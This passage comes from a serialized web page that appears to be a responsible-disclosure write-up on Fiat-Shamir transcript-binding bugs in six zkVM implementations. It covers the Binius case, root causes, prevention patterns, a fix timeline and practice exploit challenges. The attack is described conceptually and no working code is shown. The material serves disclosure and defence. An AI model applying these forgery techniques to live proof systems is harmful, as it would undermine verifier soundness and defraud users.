",{"type":23,"tag":135,"props":120099,"children":120101},{"className":120100},[],[120102],{"type":28,"value":59575},{"type":28,"value":16147},{"type":23,"tag":801,"props":120105,"children":120106},{},[120107,120108,120114],{"type":28,"value":14625},{"type":23,"tag":135,"props":120109,"children":120111},{"className":120110},[],[120112],{"type":28,"value":120113},"public_eval",{"type":28,"value":120115}," feeds into subsequent verification equations",{"type":23,"tag":24,"props":120117,"children":120118},{},[120119],{"type":28,"value":120120},"The MLE evaluation is linear in the public witness bits:",{"type":23,"tag":24,"props":120122,"children":120123},{},[120124],{"type":23,"tag":135,"props":120125,"children":120127},{"className":120126},[1981,1982],[120128],{"type":23,"tag":139,"props":120129,"children":120131},{"className":120130},[1987],[120132],{"type":23,"tag":139,"props":120133,"children":120135},{"className":120134,"ariaHidden":1993},[1992],[120136,120180,120320,120432],{"type":23,"tag":139,"props":120137,"children":120139},{"className":120138},[1998],[120140,120144,120153,120158,120167,120171,120176],{"type":23,"tag":139,"props":120141,"children":120143},{"className":120142,"style":92364},[2003],[],{"type":23,"tag":139,"props":120145,"children":120147},{"className":120146},[2009,28],[120148],{"type":23,"tag":139,"props":120149,"children":120151},{"className":120150},[2009],[120152],{"type":28,"value":59575},{"type":23,"tag":139,"props":120154,"children":120156},{"className":120155,"style":90951},[2009],[120157],{"type":28,"value":1057},{"type":23,"tag":139,"props":120159,"children":120161},{"className":120160},[2009,28],[120162],{"type":23,"tag":139,"props":120163,"children":120165},{"className":120164},[2009],[120166],{"type":28,"value":35438},{"type":23,"tag":139,"props":120168,"children":120170},{"className":120169,"style":2187},[2089],[],{"type":23,"tag":139,"props":120172,"children":120174},{"className":120173},[2192],[120175],{"type":28,"value":1067},{"type":23,"tag":139,"props":120177,"children":120179},{"className":120178,"style":2187},[2089],[],{"type":23,"tag":139,"props":120181,"children":120183},{"className":120182},[1998],[120184,120188,120260,120264,120277,120282,120287,120292,120297,120302,120307,120311,120316],{"type":23,"tag":139,"props":120185,"children":120187},{"className":120186,"style":116713},[2003],[],{"type":23,"tag":139,"props":120189,"children":120191},{"className":120190},[19632],[120192,120197],{"type":23,"tag":139,"props":120193,"children":120195},{"className":120194,"style":19639},[19632,19637,19638],[120196],{"type":28,"value":106746},{"type":23,"tag":139,"props":120198,"children":120200},{"className":120199},[2025],[120201],{"type":23,"tag":139,"props":120202,"children":120204},{"className":120203},[2030,19650],[120205,120249],{"type":23,"tag":139,"props":120206,"children":120208},{"className":120207},[2035],[120209,120244],{"type":23,"tag":139,"props":120210,"children":120212},{"className":120211,"style":111623},[2040],[120213],{"type":23,"tag":139,"props":120214,"children":120215},{"style":19663},[120216,120220],{"type":23,"tag":139,"props":120217,"children":120219},{"className":120218,"style":2050},[2049],[],{"type":23,"tag":139,"props":120221,"children":120223},{"className":120222},[2055,2056,2057,2058],[120224],{"type":23,"tag":139,"props":120225,"children":120227},{"className":120226},[2009,2058],[120228,120234,120239],{"type":23,"tag":139,"props":120229,"children":120232},{"className":120230,"style":120231},[2009,19596,2058],"margin-right:0.02691em;",[120233],{"type":28,"value":47469},{"type":23,"tag":139,"props":120235,"children":120237},{"className":120236},[2121,2058],[120238],{"type":28,"value":2124},{"type":23,"tag":139,"props":120240,"children":120242},{"className":120241},[2009,19596,2058],[120243],{"type":28,"value":1199},{"type":23,"tag":139,"props":120245,"children":120247},{"className":120246},[19753],[120248],{"type":28,"value":19756},{"type":23,"tag":139,"props":120250,"children":120252},{"className":120251},[2035],[120253],{"type":23,"tag":139,"props":120254,"children":120256},{"className":120255,"style":112189},[2040],[120257],{"type":23,"tag":139,"props":120258,"children":120259},{},[],{"type":23,"tag":139,"props":120261,"children":120263},{"className":120262,"style":2128},[2089],[],{"type":23,"tag":139,"props":120265,"children":120267},{"className":120266},[2009],[120268],{"type":23,"tag":139,"props":120269,"children":120271},{"className":120270},[2009,28],[120272],{"type":23,"tag":139,"props":120273,"children":120275},{"className":120274},[2009],[120276],{"type":28,"value":59575},{"type":23,"tag":139,"props":120278,"children":120280},{"className":120279},[19725],[120281],{"type":28,"value":1723},{"type":23,"tag":139,"props":120283,"children":120285},{"className":120284,"style":120231},[2009,19596],[120286],{"type":28,"value":47469},{"type":23,"tag":139,"props":120288,"children":120290},{"className":120289},[19747],[120291],{"type":28,"value":13423},{"type":23,"tag":139,"props":120293,"children":120295},{"className":120294},[19725],[120296],{"type":28,"value":1723},{"type":23,"tag":139,"props":120298,"children":120300},{"className":120299},[2009,19596],[120301],{"type":28,"value":1199},{"type":23,"tag":139,"props":120303,"children":120305},{"className":120304},[19747],[120306],{"type":28,"value":13423},{"type":23,"tag":139,"props":120308,"children":120310},{"className":120309,"style":2090},[2089],[],{"type":23,"tag":139,"props":120312,"children":120314},{"className":120313},[2095],[120315],{"type":28,"value":109213},{"type":23,"tag":139,"props":120317,"children":120319},{"className":120318,"style":2090},[2089],[],{"type":23,"tag":139,"props":120321,"children":120323},{"className":120322},[1998],[120324,120329,120338,120343,120348,120353,120357,120414,120419,120423,120428],{"type":23,"tag":139,"props":120325,"children":120328},{"className":120326,"style":120327},[2003],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":23,"tag":139,"props":120330,"children":120332},{"className":120331},[2009,28],[120333],{"type":23,"tag":139,"props":120334,"children":120336},{"className":120335},[2009],[120337],{"type":28,"value":110540},{"type":23,"tag":139,"props":120339,"children":120341},{"className":120340},[19725],[120342],{"type":28,"value":262},{"type":23,"tag":139,"props":120344,"children":120346},{"className":120345},[2009,19596],[120347],{"type":28,"value":1199},{"type":23,"tag":139,"props":120349,"children":120351},{"className":120350},[2121],[120352],{"type":28,"value":2124},{"type":23,"tag":139,"props":120354,"children":120356},{"className":120355,"style":2128},[2089],[],{"type":23,"tag":139,"props":120358,"children":120360},{"className":120359},[2009],[120361,120366],{"type":23,"tag":139,"props":120362,"children":120364},{"className":120363,"style":90951},[2009,19596],[120365],{"type":28,"value":91770},{"type":23,"tag":139,"props":120367,"children":120369},{"className":120368},[2025],[120370],{"type":23,"tag":139,"props":120371,"children":120373},{"className":120372},[2030,19650],[120374,120403],{"type":23,"tag":139,"props":120375,"children":120377},{"className":120376},[2035],[120378,120398],{"type":23,"tag":139,"props":120379,"children":120381},{"className":120380,"style":91480},[2040],[120382],{"type":23,"tag":139,"props":120383,"children":120384},{"style":107950},[120385,120389],{"type":23,"tag":139,"props":120386,"children":120388},{"className":120387,"style":2050},[2049],[],{"type":23,"tag":139,"props":120390,"children":120392},{"className":120391},[2055,2056,2057,2058],[120393],{"type":23,"tag":139,"props":120394,"children":120396},{"className":120395,"style":112174},[2009,19596,2058],[120397],{"type":28,"value":6661},{"type":23,"tag":139,"props":120399,"children":120401},{"className":120400},[19753],[120402],{"type":28,"value":19756},{"type":23,"tag":139,"props":120404,"children":120406},{"className":120405},[2035],[120407],{"type":23,"tag":139,"props":120408,"children":120410},{"className":120409,"style":116861},[2040],[120411],{"type":23,"tag":139,"props":120412,"children":120413},{},[],{"type":23,"tag":139,"props":120415,"children":120417},{"className":120416},[19747],[120418],{"type":28,"value":1104},{"type":23,"tag":139,"props":120420,"children":120422},{"className":120421,"style":2090},[2089],[],{"type":23,"tag":139,"props":120424,"children":120426},{"className":120425},[2095],[120427],{"type":28,"value":109213},{"type":23,"tag":139,"props":120429,"children":120431},{"className":120430,"style":2090},[2089],[],{"type":23,"tag":139,"props":120433,"children":120435},{"className":120434},[1998],[120436,120440,120449,120454,120459,120464,120468,120478,120483,120492,120497,120506],{"type":23,"tag":139,"props":120437,"children":120439},{"className":120438,"style":90893},[2003],[],{"type":23,"tag":139,"props":120441,"children":120443},{"className":120442},[2009,28],[120444],{"type":23,"tag":139,"props":120445,"children":120447},{"className":120446},[2009],[120448],{"type":28,"value":110540},{"type":23,"tag":139,"props":120450,"children":120452},{"className":120451},[19725],[120453],{"type":28,"value":262},{"type":23,"tag":139,"props":120455,"children":120457},{"className":120456,"style":120231},[2009,19596],[120458],{"type":28,"value":47469},{"type":23,"tag":139,"props":120460,"children":120462},{"className":120461},[2121],[120463],{"type":28,"value":2124},{"type":23,"tag":139,"props":120465,"children":120467},{"className":120466,"style":2128},[2089],[],{"type":23,"tag":139,"props":120469,"children":120471},{"className":120470},[2009,28],[120472],{"type":23,"tag":139,"props":120473,"children":120475},{"className":120474},[2009],[120476],{"type":28,"value":120477},"inout",{"type":23,"tag":139,"props":120479,"children":120481},{"className":120480,"style":90951},[2009],[120482],{"type":28,"value":1057},{"type":23,"tag":139,"props":120484,"children":120486},{"className":120485},[2009,28],[120487],{"type":23,"tag":139,"props":120488,"children":120490},{"className":120489},[2009],[120491],{"type":28,"value":35438},{"type":23,"tag":139,"props":120493,"children":120495},{"className":120494,"style":90951},[2009],[120496],{"type":28,"value":1057},{"type":23,"tag":139,"props":120498,"children":120500},{"className":120499},[2009,28],[120501],{"type":23,"tag":139,"props":120502,"children":120504},{"className":120503},[2009],[120505],{"type":28,"value":115736},{"type":23,"tag":139,"props":120507,"children":120509},{"className":120508},[19747],[120510],{"type":28,"value":1104},{"type":23,"tag":24,"props":120512,"children":120513},{},[120514,120516,120521,120523,120596],{"type":28,"value":120515},"With challenges fixed (independent of ",{"type":23,"tag":135,"props":120517,"children":120519},{"className":120518},[],[120520],{"type":28,"value":59575},{"type":28,"value":120522},"), an attacker can find an alternate witness ",{"type":23,"tag":135,"props":120524,"children":120526},{"className":120525},[1981,1982],[120527],{"type":23,"tag":139,"props":120528,"children":120530},{"className":120529},[1987],[120531],{"type":23,"tag":139,"props":120532,"children":120534},{"className":120533,"ariaHidden":1993},[1992],[120535],{"type":23,"tag":139,"props":120536,"children":120538},{"className":120537},[1998],[120539,120544],{"type":23,"tag":139,"props":120540,"children":120543},{"className":120541,"style":120542},[2003],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":23,"tag":139,"props":120545,"children":120547},{"className":120546},[2009],[120548,120557],{"type":23,"tag":139,"props":120549,"children":120551},{"className":120550},[2009,28],[120552],{"type":23,"tag":139,"props":120553,"children":120555},{"className":120554},[2009],[120556],{"type":28,"value":59575},{"type":23,"tag":139,"props":120558,"children":120560},{"className":120559},[2025],[120561],{"type":23,"tag":139,"props":120562,"children":120564},{"className":120563},[2030],[120565],{"type":23,"tag":139,"props":120566,"children":120568},{"className":120567},[2035],[120569],{"type":23,"tag":139,"props":120570,"children":120573},{"className":120571,"style":120572},[2040],"height:0.8362em;",[120574],{"type":23,"tag":139,"props":120575,"children":120577},{"style":120576},"top:-3.1473em;margin-right:0.05em;",[120578,120582],{"type":23,"tag":139,"props":120579,"children":120581},{"className":120580,"style":2050},[2049],[],{"type":23,"tag":139,"props":120583,"children":120585},{"className":120584},[2055,2056,2057,2058],[120586],{"type":23,"tag":139,"props":120587,"children":120589},{"className":120588},[2009,2058],[120590],{"type":23,"tag":139,"props":120591,"children":120593},{"className":120592},[2009,2058],[120594],{"type":28,"value":120595},"′",{"type":28,"value":120597}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":23,"tag":24,"props":120599,"children":120600},{},[120601,120605,120607],{"type":23,"tag":56,"props":120602,"children":120603},{},[120604],{"type":28,"value":114661},{"type":28,"value":120606}," Fixed on December 29, 2025 via ",{"type":23,"tag":64,"props":120608,"children":120611},{"href":120609,"rel":120610},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[68],[120612],{"type":28,"value":120613},"commit 86a515f",{"type":23,"tag":16800,"props":120615,"children":120616},{},[],{"type":23,"tag":41,"props":120618,"children":120620},{"id":120619},"why-does-this-keep-happening",[120621],{"type":28,"value":120622},"Why Does This Keep Happening?",{"type":23,"tag":24,"props":120624,"children":120625},{},[120626],{"type":28,"value":120627},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":23,"tag":666,"props":120629,"children":120631},{"id":120630},"academic-papers-dont-specify-fiat-shamir",[120632],{"type":28,"value":120633},"Academic Papers Don't Specify Fiat-Shamir",{"type":23,"tag":24,"props":120635,"children":120636},{},[120637,120639,120644,120646,120671,120673,120676,120678,120703,120705,120732],{"type":28,"value":120638},"Academic papers usually describe ",{"type":23,"tag":659,"props":120640,"children":120641},{},[120642],{"type":28,"value":120643},"interactive",{"type":28,"value":120645}," protocols: \"Prover sends ",{"type":23,"tag":135,"props":120647,"children":120649},{"className":120648},[1981,1982],[120650],{"type":23,"tag":139,"props":120651,"children":120653},{"className":120652},[1987],[120654],{"type":23,"tag":139,"props":120655,"children":120657},{"className":120656,"ariaHidden":1993},[1992],[120658],{"type":23,"tag":139,"props":120659,"children":120661},{"className":120660},[1998],[120662,120666],{"type":23,"tag":139,"props":120663,"children":120665},{"className":120664,"style":19591},[2003],[],{"type":23,"tag":139,"props":120667,"children":120669},{"className":120668,"style":20128},[2009,19596],[120670],{"type":28,"value":114180},{"type":28,"value":120672},". Verifier sends",{"type":23,"tag":586,"props":120674,"children":120675},{},[],{"type":28,"value":120677},"random ",{"type":23,"tag":135,"props":120679,"children":120681},{"className":120680},[1981,1982],[120682],{"type":23,"tag":139,"props":120683,"children":120685},{"className":120684},[1987],[120686],{"type":23,"tag":139,"props":120687,"children":120689},{"className":120688,"ariaHidden":1993},[1992],[120690],{"type":23,"tag":139,"props":120691,"children":120693},{"className":120692},[1998],[120694,120698],{"type":23,"tag":139,"props":120695,"children":120697},{"className":120696,"style":108792},[2003],[],{"type":23,"tag":139,"props":120699,"children":120701},{"className":120700,"style":90951},[2009,19596],[120702],{"type":28,"value":91770},{"type":28,"value":120704},". Prover sends ",{"type":23,"tag":135,"props":120706,"children":120708},{"className":120707},[1981,1982],[120709],{"type":23,"tag":139,"props":120710,"children":120712},{"className":120711},[1987],[120713],{"type":23,"tag":139,"props":120714,"children":120716},{"className":120715,"ariaHidden":1993},[1992],[120717],{"type":23,"tag":139,"props":120718,"children":120720},{"className":120719},[1998],[120721,120725],{"type":23,"tag":139,"props":120722,"children":120724},{"className":120723,"style":19591},[2003],[],{"type":23,"tag":139,"props":120726,"children":120729},{"className":120727,"style":120728},[2009,19596],"margin-right:0.00773em;",[120730],{"type":28,"value":120731},"R",{"type":28,"value":120733},".\"",{"type":23,"tag":24,"props":120735,"children":120736},{},[120737,120739,120764,120766,120791],{"type":28,"value":120738},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":23,"tag":135,"props":120740,"children":120742},{"className":120741},[1981,1982],[120743],{"type":23,"tag":139,"props":120744,"children":120746},{"className":120745},[1987],[120747],{"type":23,"tag":139,"props":120748,"children":120750},{"className":120749,"ariaHidden":1993},[1992],[120751],{"type":23,"tag":139,"props":120752,"children":120754},{"className":120753},[1998],[120755,120759],{"type":23,"tag":139,"props":120756,"children":120758},{"className":120757,"style":19591},[2003],[],{"type":23,"tag":139,"props":120760,"children":120762},{"className":120761,"style":20128},[2009,19596],[120763],{"type":28,"value":114180},{"type":28,"value":120765}," before sampling ",{"type":23,"tag":135,"props":120767,"children":120769},{"className":120768},[1981,1982],[120770],{"type":23,"tag":139,"props":120771,"children":120773},{"className":120772},[1987],[120774],{"type":23,"tag":139,"props":120775,"children":120777},{"className":120776,"ariaHidden":1993},[1992],[120778],{"type":23,"tag":139,"props":120779,"children":120781},{"className":120780},[1998],[120782,120786],{"type":23,"tag":139,"props":120783,"children":120785},{"className":120784,"style":108792},[2003],[],{"type":23,"tag":139,"props":120787,"children":120789},{"className":120788,"style":90951},[2009,19596],[120790],{"type":28,"value":91770},{"type":28,"value":120792},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":23,"tag":24,"props":120794,"children":120795},{},[120796],{"type":28,"value":120797},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":23,"tag":666,"props":120799,"children":120801},{"id":120800},"the-hot-potato-problem",[120802],{"type":28,"value":120803},"The Hot Potato Problem",{"type":23,"tag":24,"props":120805,"children":120806},{},[120807],{"type":28,"value":120808},"Modern zkVMs are modular:",{"type":23,"tag":24,"props":120810,"children":120811},{},[120812],{"type":23,"tag":429,"props":120813,"children":120816},{"alt":120814,"src":120815},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":23,"tag":24,"props":120818,"children":120819},{},[120820],{"type":28,"value":120821},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":23,"tag":666,"props":120823,"children":120825},{"id":120824},"optimization-pressure",[120826],{"type":28,"value":120827},"Optimization Pressure",{"type":23,"tag":24,"props":120829,"children":120830},{},[120831],{"type":28,"value":120832},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":23,"tag":24,"props":120834,"children":120835},{},[120836],{"type":28,"value":120837},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":23,"tag":666,"props":120839,"children":120841},{"id":120840},"testing-doesnt-catch-adversarial-inputs",[120842],{"type":28,"value":120843},"Testing Doesn't Catch Adversarial Inputs",{"type":23,"tag":24,"props":120845,"children":120846},{},[120847],{"type":28,"value":120848},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":23,"tag":16800,"props":120850,"children":120851},{},[],{"type":23,"tag":41,"props":120853,"children":120855},{"id":120854},"how-to-find-and-fix-these-bugs",[120856],{"type":28,"value":120857},"How to Find and Fix These Bugs",{"type":23,"tag":666,"props":120859,"children":120861},{"id":120860},"prevention",[120862],{"type":28,"value":120863},"Prevention",{"type":23,"tag":24,"props":120865,"children":120866},{},[120867],{"type":28,"value":120868},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":23,"tag":24,"props":120870,"children":120871},{},[120872],{"type":28,"value":120873},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":23,"tag":24,"props":120875,"children":120876},{},[120877],{"type":28,"value":120878},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":23,"tag":24,"props":120880,"children":120881},{},[120882],{"type":28,"value":120883},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":23,"tag":24,"props":120885,"children":120886},{},[120887],{"type":28,"value":120888},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":23,"tag":16800,"props":120890,"children":120891},{},[],{"type":23,"tag":41,"props":120893,"children":120895},{"id":120894},"responsible-disclosure-timeline",[120896],{"type":28,"value":120897},"Responsible Disclosure Timeline",{"type":23,"tag":53643,"props":120899,"children":120900},{},[120901,120929],{"type":23,"tag":120902,"props":120903,"children":120904},"thead",{},[120905],{"type":23,"tag":120906,"props":120907,"children":120908},"tr",{},[120909,120914,120919,120924],{"type":23,"tag":120910,"props":120911,"children":120912},"th",{},[120913],{"type":28,"value":21217},{"type":23,"tag":120910,"props":120915,"children":120916},{},[120917],{"type":28,"value":120918},"Reported",{"type":23,"tag":120910,"props":120920,"children":120921},{},[120922],{"type":28,"value":120923},"Fixed",{"type":23,"tag":120910,"props":120925,"children":120926},{},[120927],{"type":28,"value":120928},"Response Time",{"type":23,"tag":120930,"props":120931,"children":120932},"tbody",{},[120933,120956,120977,120997,121019,121040],{"type":23,"tag":120906,"props":120934,"children":120935},{},[120936,120941,120946,120951],{"type":23,"tag":120937,"props":120938,"children":120939},"td",{},[120940],{"type":28,"value":105764},{"type":23,"tag":120937,"props":120942,"children":120943},{},[120944],{"type":28,"value":120945},"Sep 2025",{"type":23,"tag":120937,"props":120947,"children":120948},{},[120949],{"type":28,"value":120950},"Oct 3, 2025",{"type":23,"tag":120937,"props":120952,"children":120953},{},[120954],{"type":28,"value":120955},"\u003C1 week",{"type":23,"tag":120906,"props":120957,"children":120958},{},[120959,120963,120968,120973],{"type":23,"tag":120937,"props":120960,"children":120961},{},[120962],{"type":28,"value":105770},{"type":23,"tag":120937,"props":120964,"children":120965},{},[120966],{"type":28,"value":120967},"Oct 2025",{"type":23,"tag":120937,"props":120969,"children":120970},{},[120971],{"type":28,"value":120972},"Oct 24, 2025",{"type":23,"tag":120937,"props":120974,"children":120975},{},[120976],{"type":28,"value":120955},{"type":23,"tag":120906,"props":120978,"children":120979},{},[120980,120984,120988,120993],{"type":23,"tag":120937,"props":120981,"children":120982},{},[120983],{"type":28,"value":105776},{"type":23,"tag":120937,"props":120985,"children":120986},{},[120987],{"type":28,"value":120967},{"type":23,"tag":120937,"props":120989,"children":120990},{},[120991],{"type":28,"value":120992},"Oct 31, 2025",{"type":23,"tag":120937,"props":120994,"children":120995},{},[120996],{"type":28,"value":120955},{"type":23,"tag":120906,"props":120998,"children":120999},{},[121000,121004,121009,121014],{"type":23,"tag":120937,"props":121001,"children":121002},{},[121003],{"type":28,"value":105782},{"type":23,"tag":120937,"props":121005,"children":121006},{},[121007],{"type":28,"value":121008},"Nov 2025",{"type":23,"tag":120937,"props":121010,"children":121011},{},[121012],{"type":28,"value":121013},"Mar 5, 2026",{"type":23,"tag":120937,"props":121015,"children":121016},{},[121017],{"type":28,"value":121018},"~4 months",{"type":23,"tag":120906,"props":121020,"children":121021},{},[121022,121026,121031,121036],{"type":23,"tag":120937,"props":121023,"children":121024},{},[121025],{"type":28,"value":105794},{"type":23,"tag":120937,"props":121027,"children":121028},{},[121029],{"type":28,"value":121030},"Dec 2025",{"type":23,"tag":120937,"props":121032,"children":121033},{},[121034],{"type":28,"value":121035},"Dec 29, 2025",{"type":23,"tag":120937,"props":121037,"children":121038},{},[121039],{"type":28,"value":120955},{"type":23,"tag":120906,"props":121041,"children":121042},{},[121043,121047,121051,121056],{"type":23,"tag":120937,"props":121044,"children":121045},{},[121046],{"type":28,"value":105788},{"type":23,"tag":120937,"props":121048,"children":121049},{},[121050],{"type":28,"value":121008},{"type":23,"tag":120937,"props":121052,"children":121053},{},[121054],{"type":28,"value":121055},"Jan 21, 2026?",{"type":23,"tag":120937,"props":121057,"children":121058},{},[121059],{"type":28,"value":121060},"3 months",{"type":23,"tag":24,"props":121062,"children":121063},{},[121064],{"type":28,"value":121065},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":23,"tag":16800,"props":121067,"children":121068},{},[],{"type":23,"tag":41,"props":121070,"children":121072},{"id":121071},"challenges",[121073],{"type":28,"value":105807},{"type":23,"tag":24,"props":121075,"children":121076},{},[121077,121079],{"type":28,"value":121078},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":23,"tag":121080,"props":121081,"children":121082},"del",{},[121083],{"type":28,"value":121084},"the first 10 solvers will get a T-shirt.",{"type":23,"tag":24,"props":121086,"children":121087},{},[121088,121090,121143,121144,121400],{"type":28,"value":121089},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":23,"tag":135,"props":121091,"children":121093},{"className":121092},[1981,1982],[121094],{"type":23,"tag":139,"props":121095,"children":121097},{"className":121096},[1987],[121098],{"type":23,"tag":139,"props":121099,"children":121101},{"className":121100,"ariaHidden":1993},[1992],[121102],{"type":23,"tag":139,"props":121103,"children":121105},{"className":121104},[1998],[121106,121110,121115,121120,121124,121129,121134,121138],{"type":23,"tag":139,"props":121107,"children":121109},{"className":121108,"style":113006},[2003],[],{"type":23,"tag":139,"props":121111,"children":121113},{"className":121112},[2009,19596],[121114],{"type":28,"value":64},{"type":23,"tag":139,"props":121116,"children":121118},{"className":121117},[2121],[121119],{"type":28,"value":2124},{"type":23,"tag":139,"props":121121,"children":121123},{"className":121122,"style":2128},[2089],[],{"type":23,"tag":139,"props":121125,"children":121127},{"className":121126},[2009,19596],[121128],{"type":28,"value":1199},{"type":23,"tag":139,"props":121130,"children":121132},{"className":121131},[2121],[121133],{"type":28,"value":2124},{"type":23,"tag":139,"props":121135,"children":121137},{"className":121136,"style":2128},[2089],[],{"type":23,"tag":139,"props":121139,"children":121141},{"className":121140},[2009,19596],[121142],{"type":28,"value":1123},{"type":28,"value":107607},{"type":23,"tag":135,"props":121145,"children":121147},{"className":121146},[1981,1982],[121148],{"type":23,"tag":139,"props":121149,"children":121151},{"className":121150},[1987],[121152],{"type":23,"tag":139,"props":121153,"children":121155},{"className":121154,"ariaHidden":1993},[1992],[121156,121219,121281,121387],{"type":23,"tag":139,"props":121157,"children":121159},{"className":121158},[1998],[121160,121165,121206,121210,121215],{"type":23,"tag":139,"props":121161,"children":121164},{"className":121162,"style":121163},[2003],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":23,"tag":139,"props":121166,"children":121168},{"className":121167},[2009],[121169,121174],{"type":23,"tag":139,"props":121170,"children":121172},{"className":121171},[2009,19596],[121173],{"type":28,"value":64},{"type":23,"tag":139,"props":121175,"children":121177},{"className":121176},[2025],[121178],{"type":23,"tag":139,"props":121179,"children":121181},{"className":121180},[2030],[121182],{"type":23,"tag":139,"props":121183,"children":121185},{"className":121184},[2035],[121186],{"type":23,"tag":139,"props":121187,"children":121189},{"className":121188,"style":2004},[2040],[121190],{"type":23,"tag":139,"props":121191,"children":121192},{"style":2044},[121193,121197],{"type":23,"tag":139,"props":121194,"children":121196},{"className":121195,"style":2050},[2049],[],{"type":23,"tag":139,"props":121198,"children":121200},{"className":121199},[2055,2056,2057,2058],[121201],{"type":23,"tag":139,"props":121202,"children":121204},{"className":121203},[2009,2058],[121205],{"type":28,"value":15308},{"type":23,"tag":139,"props":121207,"children":121209},{"className":121208,"style":2090},[2089],[],{"type":23,"tag":139,"props":121211,"children":121213},{"className":121212},[2095],[121214],{"type":28,"value":2382},{"type":23,"tag":139,"props":121216,"children":121218},{"className":121217,"style":2090},[2089],[],{"type":23,"tag":139,"props":121220,"children":121222},{"className":121221},[1998],[121223,121227,121268,121272,121277],{"type":23,"tag":139,"props":121224,"children":121226},{"className":121225,"style":2004},[2003],[],{"type":23,"tag":139,"props":121228,"children":121230},{"className":121229},[2009],[121231,121236],{"type":23,"tag":139,"props":121232,"children":121234},{"className":121233},[2009,19596],[121235],{"type":28,"value":1199},{"type":23,"tag":139,"props":121237,"children":121239},{"className":121238},[2025],[121240],{"type":23,"tag":139,"props":121241,"children":121243},{"className":121242},[2030],[121244],{"type":23,"tag":139,"props":121245,"children":121247},{"className":121246},[2035],[121248],{"type":23,"tag":139,"props":121249,"children":121251},{"className":121250,"style":2004},[2040],[121252],{"type":23,"tag":139,"props":121253,"children":121254},{"style":2044},[121255,121259],{"type":23,"tag":139,"props":121256,"children":121258},{"className":121257,"style":2050},[2049],[],{"type":23,"tag":139,"props":121260,"children":121262},{"className":121261},[2055,2056,2057,2058],[121263],{"type":23,"tag":139,"props":121264,"children":121266},{"className":121265},[2009,2058],[121267],{"type":28,"value":15308},{"type":23,"tag":139,"props":121269,"children":121271},{"className":121270,"style":2187},[2089],[],{"type":23,"tag":139,"props":121273,"children":121275},{"className":121274},[2192],[121276],{"type":28,"value":1067},{"type":23,"tag":139,"props":121278,"children":121280},{"className":121279,"style":2187},[2089],[],{"type":23,"tag":139,"props":121282,"children":121284},{"className":121283},[1998],[121285,121290,121331,121336,121340,121345,121350,121354,121359,121364,121368,121373,121377,121383],{"type":23,"tag":139,"props":121286,"children":121289},{"className":121287,"style":121288},[2003],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":23,"tag":139,"props":121291,"children":121293},{"className":121292},[2009],[121294,121299],{"type":23,"tag":139,"props":121295,"children":121297},{"className":121296},[2009,19596],[121298],{"type":28,"value":1123},{"type":23,"tag":139,"props":121300,"children":121302},{"className":121301},[2025],[121303],{"type":23,"tag":139,"props":121304,"children":121306},{"className":121305},[2030],[121307],{"type":23,"tag":139,"props":121308,"children":121310},{"className":121309},[2035],[121311],{"type":23,"tag":139,"props":121312,"children":121314},{"className":121313,"style":2004},[2040],[121315],{"type":23,"tag":139,"props":121316,"children":121317},{"style":2044},[121318,121322],{"type":23,"tag":139,"props":121319,"children":121321},{"className":121320,"style":2050},[2049],[],{"type":23,"tag":139,"props":121323,"children":121325},{"className":121324},[2055,2056,2057,2058],[121326],{"type":23,"tag":139,"props":121327,"children":121329},{"className":121328},[2009,2058],[121330],{"type":28,"value":15308},{"type":23,"tag":139,"props":121332,"children":121334},{"className":121333},[2121],[121335],{"type":28,"value":2124},{"type":23,"tag":139,"props":121337,"children":121339},{"className":121338,"style":2128},[2089],[],{"type":23,"tag":139,"props":121341,"children":121343},{"className":121342},[2009,19596],[121344],{"type":28,"value":64},{"type":23,"tag":139,"props":121346,"children":121348},{"className":121347},[2121],[121349],{"type":28,"value":2124},{"type":23,"tag":139,"props":121351,"children":121353},{"className":121352,"style":2128},[2089],[],{"type":23,"tag":139,"props":121355,"children":121357},{"className":121356},[2009,19596],[121358],{"type":28,"value":1199},{"type":23,"tag":139,"props":121360,"children":121362},{"className":121361},[2121],[121363],{"type":28,"value":2124},{"type":23,"tag":139,"props":121365,"children":121367},{"className":121366,"style":2128},[2089],[],{"type":23,"tag":139,"props":121369,"children":121371},{"className":121370},[2009,19596],[121372],{"type":28,"value":1123},{"type":23,"tag":139,"props":121374,"children":121376},{"className":121375,"style":2187},[2089],[],{"type":23,"tag"